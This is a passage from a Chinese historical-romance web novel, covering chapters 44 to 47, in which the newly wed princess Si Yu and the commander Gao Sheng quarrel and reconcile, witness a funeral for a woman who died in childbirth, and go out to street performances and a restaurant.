卢慈低声道:“我不服气?,大不了我赔钱他,他乖乖去蹲大狱,受它几板子再出来!” 高盛叹息一声:“你没事也多读点书吧,何谓名琴,名琴就是独一无二,世上再找不到第二把,也造不出第二把。那些读书人见梅叔容琴被摔,感同身受,又?觉得咱们全是粗人,对咱们不屑。” 卢慈低头不语,半天道:“怪我,搅了大哥的?婚宴。” “行了,以后做事别太冲动,我们能上战场,但不可否认,论治国,那些税收、刑律、礼法祭祀之类的?,还得靠他们。四海未定,要?多让人投靠你,而不是转而投靠你的?敌人。”高盛说。 卢慈仍是不服气?,总觉得这一着是白白放过了梅棠,但大哥明?显是要?不追究,他只?好作罢。 新年?伊始,要?到正月十五之后才开始办公,今日才正月初六,算得上清闲。 最?后高盛与卢慈陈滔几人先去校场骑马,随后去寻了个酒馆喝了一顿酒,最?后天见黑才回?公主府。 公主府护卫将他拦在了院外,告诉他公主已歇息,下令任何人不许打扰。 高盛都惊了,疑心这护卫太傻,没弄清情况,再一想,护卫怎么会不知道他是驸马呢,这分明?是司妤特地下令,不许他进房的。 真好,真行,他也生来一股怒气?,冷笑道:“好啊,告诉长公主,公主好好歇息吧,臣不打扰了——” 后面两句他是大声喊的?,此时?周围安静得很,里面?一定能听见。 说完他就转身走了,径直出了公主府,并让人去邀卢慈几人再去万春楼喝酒。 下午几人就有点想去万春楼,那儿酒好菜好又?热闹,但因为他才成婚,去那边不太好,所以就随便找了个小?酒馆凑合了一下,现在高盛带着气?,觉得自己?就不该迁就。 卢慈几人一叫就到,奔向了万春楼。 喝到半夜,陈滔回?自家去了,卢慈与?柴进绪都喝得多,高盛也喝得不少,就一齐到了太尉府。 王小?桃在后院听见响动,闹哄哄的?,忙问身边人怎么回?事,没一会儿丫鬟来报,太尉回?来了。 王小?桃嘀咕一声:“做什么去了,怎么这样晚!” 说完又?一想,不对呀,表叔不是搬去公主府了吗? 于是她披了衣服起来,到外面?去看,夜色中正好见到三人歪着身子迈着虚步进后院来,不是表叔卢叔几人是谁呢? 王小?桃问高盛:“表叔,你怎么回?来了?” 高盛虽然喝得不少,但深知?醉酒误事,不会喝醉,头脑还是清醒的?,见她出来,回?她:“没你的?事,你快进屋去吧,外面?冷。你卢叔他们喝多了,我让他们就在这儿住一宿。” “哦……那表叔你是等下再过去?这么晚?” “不过去,我也在这儿,行了,你快回?去吧。”高盛急着扶卢慈两人进去,加上外面?冷,王小?桃也是从被窝里出来,不耐烦多说。 王小?桃却不想回?房,还想说什么,高盛已朝她挥了挥手,与?卢慈两人一起进屋去了。 王小?桃看着几人背影,不由瞪眼,恼怒地一跺脚,忍下腹中的?话,先回?了自己?房中。 等到第二天早上,高盛卢慈柴进绪三人刚起床不久,王小?桃就过来了,满面?不悦看着几人。 卢慈笑问:“小?桃,你干嘛呢,谁得罪你了?” 王小?桃鼓起嘴道:“你们昨天去哪里喝酒了?” 卢慈道:“姑娘家,问这些做什么。” “你不说我也知?道,定是那不正经的?地方?!” 卢慈见她还管起长辈来了,一边笑着一边回?:“怎么,你要?管你表叔啊?” 王小?桃看一眼高盛,憋着气?不说话。 柴进绪便安慰道:“就是喝喝酒,一年?上头,好不容易清闲一回?,喝点酒也没事吧。” 王小?桃道:“你们是没事,可表叔成亲了,怎么没事?” 柴进绪和?卢慈都笑,高盛见王小?桃是真气?,便朝二人道:“行了,酒也醒了,你们回?去吧,你老在我这儿待着,影响小?桃名声。” 确实,照京城那些大户人家的?规矩,他们这些外男就不该进太尉府的?后院,只?是他们无所谓,反正他们也不是读书人,不计较那些,但小?桃在里面?,怕人家议论小?桃,所以两人乖乖就走了。 他们一走,高盛问小?桃:“怎么了,一副不高兴的?样子?我也没喝多,心里有数。” “可你前天才成婚啊!”王小?桃着急道,“人家长公主还怀着孕,你就跟些狐朋狗友出去那种地方?喝酒,还喝得整夜都不回?去,这和?那些臭酒鬼有什么区别?” 高盛不愿意说前晚挨了一耳光,昨夜又?被拦在院外,便只?避重就轻道:“什么狐朋狗友,你卢叔他们是狐朋狗友吗?” “不带人学?好,那就是狐朋狗友!” 高盛不出声,和?侄女争执,那算怎么回?事? 王小?桃看出他不想多说,自己?也确实是晚辈,多说不敬,便沉默一会儿,软下语气?道:“表叔,我知?道你和?长公主成亲有很多其他的?原因,也知?道那天那梅先生的?曲子不好,但那不关公主的?事啊,再怎么说,她也怀着孩子,表叔就不能先试试看,能不能好好过日子么?” 见高盛仍然不说话,她问:“那表叔在意这孩子么?” 高盛抬起头来,“问这个做什么?” “就是,如果表叔还有点在意,那总得像个样吧,新婚就去那种地方?喝酒,还夜不归宿,做妻子的?该有多伤心?” 王小?桃一直是愿意站在表叔这一边的?,但这一次她想也没想就站在了女人这一边,简直感同身受,觉得表叔怎么能这样。 高盛又?是沉默。 他不知?道司妤会不会伤心,但他肯定是在意这孩子的?。 最?后他解释:“我只?是去喝了酒,也没干什么,你知?道我不是那样的?人。” “我不知?道。”王小?桃没给他面?子,“我看你们昨天的?样子都不像什么好人,公主就更不用说了,不知?道怎么看你呢,孕妇又?不好生气?,会影响胎儿,我昨天都气?得半夜没睡。” 高盛哑口无言。最?后长吸一口气?道:“行了,我知?道了,待会儿就过去那边行了吧。” 王小?桃点点头,再劝:“不管怎么样,表叔就当看在孩子的?份上让着点公主,怀孕又?辛苦。” 好不容易,高盛才让王小?桃离开。 他不愿在侄女面?前表现得太儿女情长,以致让王小?桃觉得他毫不在意,但他当然是有听进去的?,稍作反省,也知?道自己?昨夜的?行为确实过分了,他气?的?便是司妤对那梅棠太好,现在自己?却做了更恶劣的?事。 有心现在回?去,又?怕再次被拒之门?外。 能怎么办呢? 他想了想,决定找件公事去见她,还得是件重要?的?公事。 他其实有心新年?之后去攻屈继先,此人三番四次从朝廷手下逃脱,又?随时?可能出兵作乱,须早日铲除。 之前就派人去勘测过地形,此时?应已画出舆图,他不如去拿了这舆图,找公主说攻打屈继先的?事,以及何时?出兵,是否等到她临盆之后再出兵。 这样想着,他就策马出去,绕过两条街道,却远远看见热闹的?街上行过一群可疑的?队伍,这队伍大约一二十人,抬着口棺材匆匆向前,十分沉默,他于是停下马在街边看着,待那队伍近了,才发现这一行人抬着棺材,但既未服丧,又?无吹打奏乐,竟不像是平常所见的?丧礼,待那棺材过去,他又?见地上竟有一路血迹,正是从棺材中滴落出来的?。 他立刻打马上前,挡住那一行人去路,下令道:“停下!” 民间有风俗,万事丧礼最?大,任何队伍遇见棺材都要?让路,红白喜事,喜事让白事;官员出行见到抬棺,也大多不会与?之抢道,算是对死?者的?敬畏;普通人更是不敢站在棺材前挡住棺材去路,而像眼前这种当街拦棺的?,还是头一个。 所有人都看向这边,连抬棺的?八仙都愣了,他们本是逢山过山,逢水过水,棺材不能落地,此时?突然被拦,又?见来人竟骑着匹黑亮的?高头骏马,衣着精良,气?度不凡,一看就是当官的?,便不敢再前行。 高盛问:“棺中所抬何人,因何而死??你们又?是什么人?” 他疑心这是什么不寻常的?谋杀案。 为首那扶棺之人是个二十左右的?年?轻男子,此时?神情木讷,目光呆滞,似是有些不正常,听他问话竟毫无反应,他身旁人扯了他几下,见他没动静才自己?出来道:“贵人,这,这扶棺人是草民堂兄,那棺中人是我堂嫂……上午因难产而死?,这会儿送去坟山下葬。” “难产?”高盛看看棺材,又?看看那扶棺人,直到此时?,那扶棺人才缓缓抬眼看向这边,似乎才反应过来,但眼中仍然没什么神采。 高盛问:“棺中还在滴血,可见死?者断气?不久,为何这么快就下葬?” 之前回?话的?人去看扶棺人,扶棺人如梦初醒,这时?才开口道:“他们说……难产死?的?,不能在家中停放,要?早些下葬……早些下葬……” 说完,他回?头看了那棺材一眼,突然就泪流满面?,随后毫无预兆倒在了地上。 后边人都惊了,连忙过来看他,又?是七嘴八舌向高盛禀明?原由,又?是安排队伍中人快些去叫家里人之类的?,高盛也算知?道了详情:棺中躺的?是位难产而死?的?产妇,胎死?腹中,一尸两命,扶棺人是产妇的?丈夫,二人去年?的?今日才成婚,今日却是送葬。 自妻子难产而死?,丈夫就失了神智,一直到现在,竟晕倒了。 而难产而死?的?人,在西昌的?规矩便是不可停尸屋中,要?尽快下葬,所以才有今日这出。 这都是一群地道的?普通人,神色没有作假,高盛将路让开了,让棺材前行。 看着那快速远去的?棺材,那还在滴落的?血,他突然就慌起来。 怎么就会难产呢?为什么会有难产呢?同样的?人,有人能生十个八个,有人却在新婚后就难产,怀孕之初,谁能分辨那是喜事还是丧事? 而那临盆的?女子,又?怎知?自己?这一遭是产下孩子,还是丢掉性命? 生孩子,竟比战场还难预料。 第45章 第 45 章 正月十五之前各衙门都是暂停办公状态, 只留有一两人轮值,照理司妤也该是轻松的?,但她其实并?没有太放松, 要不是怕百官有怨言, 她甚至想取消这新年?的?休假。 当今这天?下纷乱,亟需平定、治理, 又哪有时间休息? 旧都与西昌之间的?潼关,正被长生教余众盘踞,还须去剿灭;屈继先那里也不能?再姑息下去了;另外她想在这一年?让皇上大婚,却还没想好娶谁家的?女儿。 正想着这些, 如缨过来道:“公主?,太尉……呃, 驸马在外求见。” “就叫他太尉吧。”司妤说, 驸马这词她听着厌烦。随后问:“有没有说是因为什么事?” “说了, 说是攻屈继先之事。” 司妤回答:“让他进来。” 很快高盛过来,却是一脸正色, 朝她道:“公主?。” 司妤知?道他昨晚去那烟花地了,他曾在她身边安插奸细, 她于是也让绣衣使者盯着他,别的?倒没盯出什么来,却盯到他昨晚去万春楼, 眼下看着他便觉得恶心厌烦,甚至有些后悔招他做驸马。 她端坐在书桌前, 问他:“太尉有何?事?” 高盛左右看了看, 自己拿了张凳子到她书桌对面坐了下来, 问:“我预备在今年?内攻克屈继先,公主?意下如何??” 司妤点头:“太尉说的?是, 我正有此意。屈继先屡屡挑衅,又占了豫州富饶之地,不攻下他,难得安宁。” “那就等?六月后,我亲自带兵出征,在此之前,可派柴进绪去攻潼关。”高盛说着,拿出舆图来,指给司妤看:“这是屈继先所在豫州,平定潼关与豫州,再派兵剿灭邓州,则平定了整个北方,随后便可慢慢南下。” 司妤见上面清晰画出了豫州地形,如今朝廷也腾出了手,便问:“为何?要等?六月之后?待开春不行吗?” “行是行,但是……我想等?你临盆再出征,若是开春就走?,必定是赶不上你临盆的?。”高盛说。 司妤愣了一下,竟然?有些无措起来,她刚才都真的?当他是太尉,而非驸马了。 “我,我没关系,平定屈继先,宜早不宜迟。”她说。 高盛回答:“怎么会没关系?我总要看着母子平安才好出征。” 这会儿司妤觉得怪怪的?,想起他之前那话,微扭头道:“也不一定是你的?孩子,母子是不是平安与你有什么关系?” 果?然?,她还是对那话耿耿于怀,到现在还没忘。 高盛干脆道:“那是我胡说八道,我自己掌嘴行吗?”说完还真扇了自己一耳光,不算轻,是实打实的?一巴掌。 他这样,让司妤觉得他昨晚不是去的?烟花之地,是去的?佛门清静地,受了佛祖点拨,竟改邪归正,换了个人。 她一时都不知?道说什么了,只能?拉回之前的?正事:“还是以战事为重,我临盆你在或不在都没什么关系,不能?因这种小事乱了大局。” “这怎么算小事?”高盛问:“我可不想辛苦打完仗,老婆孩子却出什么事。” 司妤低头不语,他今天?的?话都让她无法招架,又想不通他是怎么了。 “这事我们再议吧,想必你一上午都坐着,别再坐了,我带你去走?走??”他说。 司妤疑惑地抬起头来。 他解释:“我问过大夫了,那人一直是军医,但他母亲是稳婆,所以他对孕育之事懂得多,他说难产虽不可预料,但也有能?做的?,一者就是富人家,孕妇不可无节制大补,这样会导致胎儿过大,难产;二者就是多动?。我看第一个你大概不会有,吃得不多只怕太少,第二个你却是不行的?,成?天?便是坐着,以后定要多走?动?。” 司妤想起来,太医也和?她说过没事多动?动?,但她总是忘记,也许是在心底觉得不是什么大事吧,但此时听他说到“难产”二字,也有点害怕。 高盛已经起身拉她,她无法反驳,就顺从着起身了,与他一同出了院子,去往花园。 公主?府是仓促建成?,勉强将主?要厅房建好,其他小偏房有许多待完善的?,花园就更不必说了,成?婚前正是寒冬腊月,不宜栽种,所以花园里空空的?,只修了路,甚至还有些杂草未除。 雪后初霁,太阳偶尔被云层遮蔽,偶尔又露出容颜,天?不时刮几缕风,但并?不太冷。 这种,“不为什么事,就只是走?着”的?状态很奇怪,好久两人都是沉默的?。 直到下几级台阶,高盛回过头来,朝她伸出手。 这是要牵她。 她犹豫一下,缓缓将手伸出,放在他掌心,虽然尽量做得自然,但其实心里早已涌起许多不知名的情绪来,有些陌生,有些尴尬与紧张,竟然?就像小姑娘第一次和?男子有肌肤接触一样……可他们明明都弄出个孩子来了。 高盛握起了她的?手,下完台阶也没松开,大拇指的指腹在她手上摩挲,似乎挺喜欢这触感。 她想了想,手上稍稍用力,试图将手抽回来。 高盛不许,侧头看她,似乎在问:“还不能?牵了?” 司妤无奈放弃了抽手,只是问他:“你是否有什么话想说?” 要不然?怎么突然?变了性呢?要么是还想对梅棠下手,要么是开年?的?官员选调他有条件,要么…… “没有。”高盛已经回答她,随后又道:“对了,以后每日你都要出来走?走?,至少三趟,或者再练练舞之类的?……总之你别大意。” 司妤没反应。 她仍然?在想,一个人昨天?去了花街柳巷,今天?突然?来嘘寒问暖,若没有目的?,总不会是昨夜玩得太荒唐,今天?有些愧疚吧? 她咬咬唇,突然?用力将手抽回来了。 高盛疑惑地看向?她,她沉默着往前走?。 他又追上去,朝她道:“看在孩子的?份上,就不能?和?睦相处吗?” 司妤不回,他继续问:“为什么就不能?试试呢,万一能?把日子过下去呢?” “还是你其实想嫁那梅棠?” 司妤停下来,回头道:“好端端的?,不要扯起旁人。” “怎么就算旁人,大婚之日他那样挑衅,你那样偏袒,就差指着我骂乌龟王八蛋了,我都忍了下来,你还要我怎样?”高盛逼问道。 司妤也回:“说得好像我没忍似的?,我的?驸马,新婚第二天?就去寻花问柳,我的?脸又往哪里搁,我没有忍吗?” 她终于说出了这桩事,而高盛也没料到她竟知?道这事。 所以,她虽不让他进房,却还派人盯着他去了哪里? 自知?理亏,他温声?解释:“我只是去喝了几杯酒,喝完就回来了,不信你去隔壁问,问小桃,她是见到我回去的?。” 司妤不想多说,转身又往前走?。 他在后追道:“我要是有碰那儿任何?一个女人哪怕一下,就让我从此不举,再也干不了那事!” “你说什么呢!”司妤急得去捂了他的?嘴,立刻看看周围,他们身后有宫女,旁边也有走?过的?人,也不知?道听见了没——必定是有听见的?。 高盛看看她的?手,忽而笑了起来。 她连忙将手放下来。 高盛继续道:“我以后再不去了,说到做到。”眉眼认真,说得十分正经。 司妤有些别扭地回过头去,往前走?。 但胸口?那团闷气已然?烟消云散,不由就欢喜起来。 高盛胸中也泛起愉悦,没想到她竟还派人盯他,好在他昨晚回得早,要是在那里过夜,掉进黄河也洗不清了。 两人走?了一段,有些累了,正好前面有亭子,就去坐了下来。 原本光秃秃的?花园,旁边却正好是一棵梅树,开着几朵孤伶伶的?白梅,在这冬日里尤其有傲骨凌寒的?意味。 这花园里没什么好看的?,就这棵梅树免不了两人都会看到。 沉默了一会儿,司妤道:“梅先生之举,我也不曾料到,卢将军摔了他的?琴,朝臣也会不满,若再罚他,自然?会引起非议,我想就此息事宁人。之后我会让太常寺为太尉和?西凉军编一支战歌,那《白梅吟》也不许人传唱。” 这姑且算是向?他解释道歉吧,高盛想。 既然?她道歉,虽然?这结果?他不那么满意,疑心她还是维护梅棠,但也认了,她怀着孕,不同她计较。 却道:“这次算了,下次再敢,我饶不过他。” 司妤乖乖听了,什么也没说。 晚上两人一起用饭,到天?黑,自然?也还在新房里,高盛没往外跑,司妤也没赶他。 他洗漱完坐在床上,就听见她在内室浴房沐浴的?声?音,原本没多想,但因为她洗得太慢,那一下一下哗哗的?水声?让他忍不住要想入非非,比如往日那些画面。 这种感受真奇特。 好半天?她出来了,宫女替她梳完了发、熄灯、留一盏小灯后出去了,她走?向?床边。 高盛看着她,而她只是随意扫了他一眼就移开目光,揭开被子坐在了床上,中间仍然?留着大大的?空隙。 高盛往床上看了看,心想这床可造得真大。 早在她沐浴时他就已被撩得按捺不住,此时见她过来,便直接问了出来:“怀孕……能?做吗?” 司妤脸上一热,立刻道:“自然?不行。” “真的??”高盛没这方面的?知?识,他只知?道要注意,但别人家夫妻怀孕时有没有做过,他还真不知?道。 司妤更不好意思,也没看他,回道:“当然?,你别想太多。” 高盛因为自己不了解,只能?信了她的?话,不由长长叹了声?气。 所以他要这样干躺着,一直躺半年?? 早知?如此,还不如不来这房里过夜。 司妤躺了下来,仍是睡在最外侧,与他隔着些距离。 他问:“你不冷吗?” 睡在床边,肯定没有睡中间暖和?吧? 问出这话时,他已经凑过去,一把将她捞在了自己面前。 第46章 第 46 章 司妤不由分说就?被?牢牢圈在怀中。她惊了?一下, 但完全没?有她推拒的空间,更何况他身上真的好暖,是一种她无法拒绝的安稳与温暖。 她终于是一动也没?动, 就?那么被?他抱着。 后来她就?感觉到他不对劲, 于是往前面挪,又想挣开。 “怎么了??”他问。 “你……”她没?说, 但臀部老想挪开他就?知道了?,回道:“我又没?干什么!” “那你也别?顶着我。” “我也不想,谁让你洗那么久?” 而且身上还那么香。 最后她没?逃到床沿,但平躺了?下来, 这样能少些接触。 高盛看着她,问:“给我摸摸肚子好么?” 司妤总觉得他脑子里不会有正经?事, 便不回话。 他问:“摸一下我儿子也不行?” “你怎么知道是儿子?”司妤语气不太好。这孩子来得突然?, 只是因为怀上了?, 所以?生下来,又不是专门替他生的, 他竟然?还挑上了?。 高盛问:“是女儿吗?女儿……也行。” 司妤转过?脸去不理?他。 他伸出手来,贴上她肚子。 因为他没?什么别?的举措, 动作也小心轻柔,她便没?去管他。 “好像肚子一点?都没?大?”他有些不确定地问。 司妤回答:“不太明显,但腰粗了?一点?点?。” “有吗?”他感觉不到, 之后问:“什么时候大?在肚子里会动吗?” “就?快了?吧,听人说四五个月会动。” 高盛的手放上来就?不拿下去了?, 畅想到:“我儿子有个这么好看的娘, 到时候得长成什么模样?怕是半城的姑娘都想嫁给他。” “说了?也有可能是女儿。”司妤再次提醒。 高盛道:“那想必更好看, 天仙似的,长大了?就?该嫁给我儿子那样的人……但如果是女儿就?不会是儿子了?, 而且我女儿也不能嫁给我儿子呀。” 说话语气中,竟颇有几分苦恼。司妤第一次觉得高盛脑子有点?问题,像个傻子。 躺了?一会儿,他又往她身边靠了?一点?,将?她抱住,说道:“可以?的话,儿子和女儿各来一个吧。” 司妤有些睡意,没?力气去理?他,便在他怀中睡去了?。 一早醒来时,竟然?是他平躺着,她却?依偎在他肩头,抬眼就?能看到他的脸。 她看了?一会儿,隔一会儿才能反应过?来他成了?她的丈夫。 不管是什么原因,不管以?后会怎样,至少此刻,他竟然?是她的丈夫。 昨夜她又安眠了?一整夜。 很久以?来她都失眠,要?么晚入睡,要?么半夜醒了?睡不着,松月楼那次酣睡以?为是累了?,没?想到这次什么都没?做,却?还睡得这样死。 在他身上,她能找到一种安稳。 看了?一会儿,她从床上起身。 听见动静,高盛便醒了?过?来,问她:“这么早?” 天色才蒙蒙亮。 司妤道:“该起了?,也睡不着了?。”随后她犹豫一会儿,问:“待会儿我去给母后皇上请安,你去吗?” 高盛想也没?想:“不去。”眼里满是不屑。 他说不去,司妤也不说什么,想来他就?算去了?也不会太恭敬,倒不如不去。 她就?起身来更衣梳头,等一会儿,他也起来了?,出门时和她说了?一声,去军营,下午回来,并交待她记得多走动。 等到下午高盛回来房中换下官服,就?见司妤在书桌旁看书。 他问:“上午走过?了?吗?” 司妤想了?想,一早她去宫中给太后请安,见过?皇上,问了?皇上功课,与他们商议皇上大婚的事,然?后回来,那时觉得这也算走过?了?,所以?就?开始坐下看各家族的册子,后来又看书,一直到现在。 她回道:“走过?了?吧。” 高盛却?对她的反应十分不满意,因为太犹豫了?,答得也不干脆,明显就?是敷衍地走了?几步,要?么是没?走。 他过?来道:“定是没?动,这有什么好看的,多走走不比这些要?紧吗?” 司妤也承认他的话对,生孩子是性命攸关?的事,所以?她没?吭声。 “起来吧,去走走?”他说。 司妤抿抿唇:“有点?没?意思?,要?不然?傍晚再去走?” “要?不然?我带你去外?面转转?我见外?面挺热闹的,有什么,胸口碎大石,吞雷吐火术,还有耍猴的。”高盛说。 司妤有些发?怔,她一直在深宫中,从未出去玩过?,这种“出去转转”就?不在她的日常选择中。而且她准备下午召临汾王来商议皇上大婚人选。 她将?这事说出来,高盛道:“叫花子也有三天年,你就?让人家休息两天吧。” “那也还可以看书啊。”司妤在心里想。 但高盛已经将她拉起来:“走吧,平时这么热闹的时候不多。” 司妤由着他将?她拉出门外?。 她确实没怎么出去过,因为公主出行太麻烦,免不了?扰民?,高盛却?自信得很,认为有自己在,哪怕护卫也不用,于是最后只带了五六人就出去了。 马车太颠,司妤乘了?牛车,高盛也在牛车上陪着她。 他半靠在坐板上,和她说转一会儿,下午就?去哪家酒楼吃饭,让她尝尝外?面大厨的手艺,而她则端正地坐在坐板上,轻轻点?头。 高盛将?她看了?一会儿,明白自己怎么看着那么累了?,因为她真的坐得太端正了?,就?像在早朝时坐在珠帘后一样,可这毕竟是牛车,虽缓慢,却?总有一些颠,所以?她要?保持端正的坐姿是十分累的。 他换了?个地方,坐在了?马车当中横着的坐板上,又将?她拉过?来,让她靠在自己身上:“这样会不会舒服一点?儿?” 司妤很快离开他怀中,仍是坐得端正,随后问:“哪里不舒服?” “你不觉得累吗?” “什么累?”她问。 高盛道:“此时就?没?有旁人,也不用坐那么端正吧,你可以?在我身上靠一靠。” 司妤摇摇头:“我不要?靠。” 高盛奇怪地看着她,她回答:“只是端正坐姿,有什么累的?倒是你,也算是百官之首,却?常常坐没?坐相,站没?站相。” “有吗?我在朝上不是挺有威仪的吗?”高盛十分不服。 司妤道:“平常也得注意。”更何况他所谓的威仪难道不是他手上的佩刀吗?谁都知道他不高兴真会杀人,自然?就?怕他了?。 高盛不以?为然?:“我既为百官之首,自然?是想怎么样就?怎么样。”说完将?腿搁了?上来。 司妤不同他说了?。 牛车按高盛的吩咐,在普渡街前停下,那里是城中出名的普渡寺,也是逢年过?节最热闹的地方。 高盛先下来,扶她下车。 司妤戴了?顶帷帽下来。 街上果真热闹,之前京城之乱没?波及到这里,西昌这两年也还算安稳,又因迁都而多了?很多人与生意,遇上第一个年,所以?十分热闹。 看着这景象,司妤心中也欣慰,暗暗盼着有生之年,这儿再无战乱,年年都能如此热闹。 高盛带她去看吞雷吐火术。 也就?是技人吞一口油,对着火把吐出大火来,是人们最爱看的百戏之一。 司妤在好多年前看过?,是技人进宫表演的,当时她才十岁不到,看过?后夜里兴奋得睡不着。 技人开口说了?一大堆卖苦的话之后,终于开始了?表演,一边吐了?三次火,那火一次比一次大,每吐一次,周围的人就?惊呼一次。 高盛也在一旁叫好。 司妤却?只是瞪大眼睛,用手轻掩住唇,随后便轻轻地笑。 高盛问她:“你不喜欢看?” 司妤温声回答:“喜欢啊。” “那怎么这么平静?”他问。 司妤看看旁边仍然?在大笑或是惊呼的小姑娘、年轻媳妇,想了?一会儿,发?现自己确实不太会这样。 似乎就?是不会,此时让她大笑她也笑不出来。 高盛没?再继续问她,从身上掏出铜钱来,扔了?几粒在技人的碗中。 他扔得准,又扔得多,那技人连忙道谢。 高盛拉她去看隔壁的胸口碎大石。 那边里三层外?三层围着,而且不像吐火,是在高处,那胸口碎大石技人躺在凳子上,低一些,非要?站在里面或是长得高才能看见。 司妤轻轻踮了?一下脚,没?能看到,一转头,就?见高盛朝她笑:“小矮子。” 司妤不服气,她怎么也不算矮,至少在女人里不矮,当然?也不算太高,但他在凉州男人里都算高的。 “我帮你。”他一把将?她抱了?起来。 司妤惊呼,“你做什么呢!” 惹得旁边人往这儿看,但只瞅一眼就?又回过?头去了?,大概觉得没?什么稀奇的,这种时候,也就?看谁有本事看得更高。 发?现大惊小怪反而引人注目,司妤不出声了?,只用目光示意高盛将?她放下来,但高盛可不听,扛起她,让她坐在了?自己肩头。 也有旁人和她一样,但都是几岁的小女孩,坐在爹爹肩头。 司妤对这感觉有些陌生,从来没?有一个人这样扛过?她。 父皇虽疼爱她,但那种疼爱仅限于愿意给她最多的赏赐,而不是与她多亲近,他对所有的子女都是淡淡的,还不如吴弼这样的宠臣;而她也没?有兄长,她是长公主,照顾弟妹还差不多,哪有让人照顾的道理?? 她扶着高盛,撩起帷帽一角看里面,然?后发?现她是这儿最高的一个人——竟有一种幼稚而莫名的自豪。 胸口碎大石结束了?,不是司妤喜欢看的,没?吞雷吐火好看。 高盛将?她放下来,技人已经?拿了?碗过?来讨赏钱。 司妤问高盛:“你还有钱吗?” 高盛拿了?两个铜钱出来,她却?嫌少,“还有吗?” 他将?钱袋拿给她,她在里面挑了?挑,最后抓了?一把铜钱出来放到技人碗里。 技人惊呆,几乎要?跪下,曲着腿道:“多谢夫人,多谢夫人。” 待技人离去,高盛在司妤身旁低笑:“夫人可真大方。” 她也知自己古怪,这样的乱世,好像钱没?处花似的,但她从没?在街头给过?人赏钱,一时冲动,就?试了?试。 两人继续往前走,旁边有摊子叫卖花子。 司妤竟不认识,走近了?看,发?现是一张张用红色或黄色的彩纸剪的各式小花。 她问:“这些是做什么的?” “贴在脸上呀,才从南方传来的,这是花子,这是呵胶,用胶贴在脸上,保管好看,夫人试一试?”摊主说。 司妤想起来,自己已经?很久没?好好打?扮了?,实在是每日都太忙,摊主这么一解释,她想起来了?,书上便有花钿、花黄这些东西,只是前朝就?已淡去,无人使用,没?想到现在又开始盛行了?。 摊主见两人衣饰不凡,显然?有钱买这小东西的,已经?挑了?一张扇面形状的花子递给司妤。 高盛替司妤接过?,饶有兴趣道:“来我帮你贴一张试试。”随后问摊主,“这怎么贴上去?” “简单,朝反面呵一口气,沾些唾沫就?能贴上了?。”摊主说。 司妤一听要?用唾沫就?觉得脏:“我不要?贴了?。” 高盛却?一边对花子呵了?一口气,一边舔了?舔,十分利落撩起她帷帽,替她贴在了?额头。 惹得司妤嫌弃地皱眉。 高盛带着笑,微微弯腰盯着她脸看,看了?好久,评价道:“好看……不过?我夫人贴不贴都好看。” 司妤竟被?说得生起几分羞怯,那一刻,在阳光下看他的眉眼,恍惚间觉得他不是什么凉州人,不是什么太尉,就?是她新婚的丈夫,而她只是与他初成婚的娇妻。 第47章 第 47 章 高盛已经回头朝摊主道:“这边的, 全要了。” 摊主喜极,连忙道好,司妤提醒道:“这一堆我?一年也用不?完。” 一来等年节之后她就没时间梳妆打扮了, 二来就算她需要, 也能专程让尚服局做,那里的精工巧匠不?少, 材料也用得比民间好一些。 但高盛无所谓道:“那就慢慢用。” 司妤欲言又止,最后无奈笑了笑,随他?去?了。 高盛果真就给她买了一年也用不?完的各样式花子,又拉了她问还?要不?要买些胭脂水粉, 绫罗绸缎之类。 司妤连声说不?要,问他?:“怎么, 你有很多钱吗?” “也没有, 但我?想给我?夫人?花点。”他?回。 司妤又被他?说得娇羞地笑, 忍不?住回道:“那我?想替夫君省钱。” 高盛脸上?十分?开怀,也不?坚持了, 拉了她道:“那省着吧,以后给咱们儿子……或者女儿花。” 司妤轻哼一声, 随后仍是笑。 逛了一圈,天色不?早,两人?来到城中?最繁华的翠华酒楼。 这是个二层高的酒楼, 门外已停满了车马,这在年节, 达官贵人?云集, 自然也不?缺贵夫人?, 两人?出?现在这里也并不?稀奇。 司妤还?是第?一次进酒楼,她整好帷帽, 随高盛之后进去?。 就在踏入门槛时,一阵北风吹来,将外面的幡子吹得“咔嚓”一声响,掉在地上?,也将她帷帽吹落在地。 后面如缨“哎呀”一声,连忙去?捡,司妤也低头去?看,等再抬头时,只见全店的人?都看着她——神情呆滞,瞠目结舌,连店小二都忘了来招呼。 她是那种,几乎泛着光的雪肤,又是一身华服,绝色的容颜和?高贵典雅的气质,里面人?本是因为那声幡子落地而看向外面,却意外看到了她,然后被惊呆。 高盛也看到了这一幕。 哪个男人?都想娶个好看的老婆,但好看成他?老婆这样,还?真有些麻烦。他?不?由?自主就牵了司妤,目光锐利扫一眼众人?。 如缨捡起了帷帽,替司妤戴上?。 店小二这才反应过来,连忙走近,有些结巴道:“二……二位客倌……” 没等他?说完,高盛淡声道:“找个雅间。” 店小二便连忙领二人?去?二楼雅间。 雅间一面临街,开了窗,从上?面能看到下面,司妤静静望向京城的街景。 店小二候在一旁,高盛问她:“想吃点什么?” 司妤回答:“都行。” 高盛想了想,突然道:“要不?然吃蛇肉吧,你定没吃过。” “蛇……肉?”司妤惊了,她没想到这也能上?桌。 店小二道:“对对,蛇肉是小店独有,别家店都吃不?着。” 司妤很快道:“不?要。” 高盛劝她,“你就试试,好吃,延冲最爱吃。” 卢慈爱吃,关她什么事! 她仍是态度坚决:“不?要。” “那狗肉?” 司妤没说话,但皱下了眉头。 “那你想要什么?”高盛又提议:“兔肉?” 店小二很快附和?:“对对,小店的炖兔肉可是招牌。” 司妤看向高盛:“你随意点几道吧,就平常些的,我?都可以。”似乎是拒绝得太多了,她都有些不?好意思了。 高盛不?傻,听出?来了,这意思是兔肉也看不?上?。 他?只好问店小二:“还?有什么平常吃不?到的菜么?” “有一道,烤乳羊,那羊可是刚从娘胎出?生的小羊……” 这会?儿司妤才皱眉,高盛先打断他?:“去?去?去?,你们店里就没点正经的东西??” 店小二道:“客倌,小店的招牌就是……山珍野味……” 高盛看向司妤:“有没有要吃的野味?” 司妤觉得自己不?点个什么菜不?太好,想了好久,问店小二:“有一种东西?,是果子,圆圆的,黑的,软的,吃起来像梨,但比梨小,你们有吗?” 店小二和?高盛都想了很久,店小二道:“李子?” “不?是,我?知?道李子。” “葡萄?” 司妤又摇头:“不?是。” 高盛这时问:“叫什么?” 司妤摇头:“我?不?知?道。” “那你从哪里知?道这样东西?的?”高盛问。 司妤道:“是很小的时候,阿婵出?去?玩,给我?带回来的,当时也是冬天,我?拿在手上?还?是热的,好像是煮熟的,去?了皮后特别好吃,但她不?知?道叫什么,我?也不?知?道,也就吃过那一次。” 高盛这时问店小二:“店里有什么热的果子吗?” 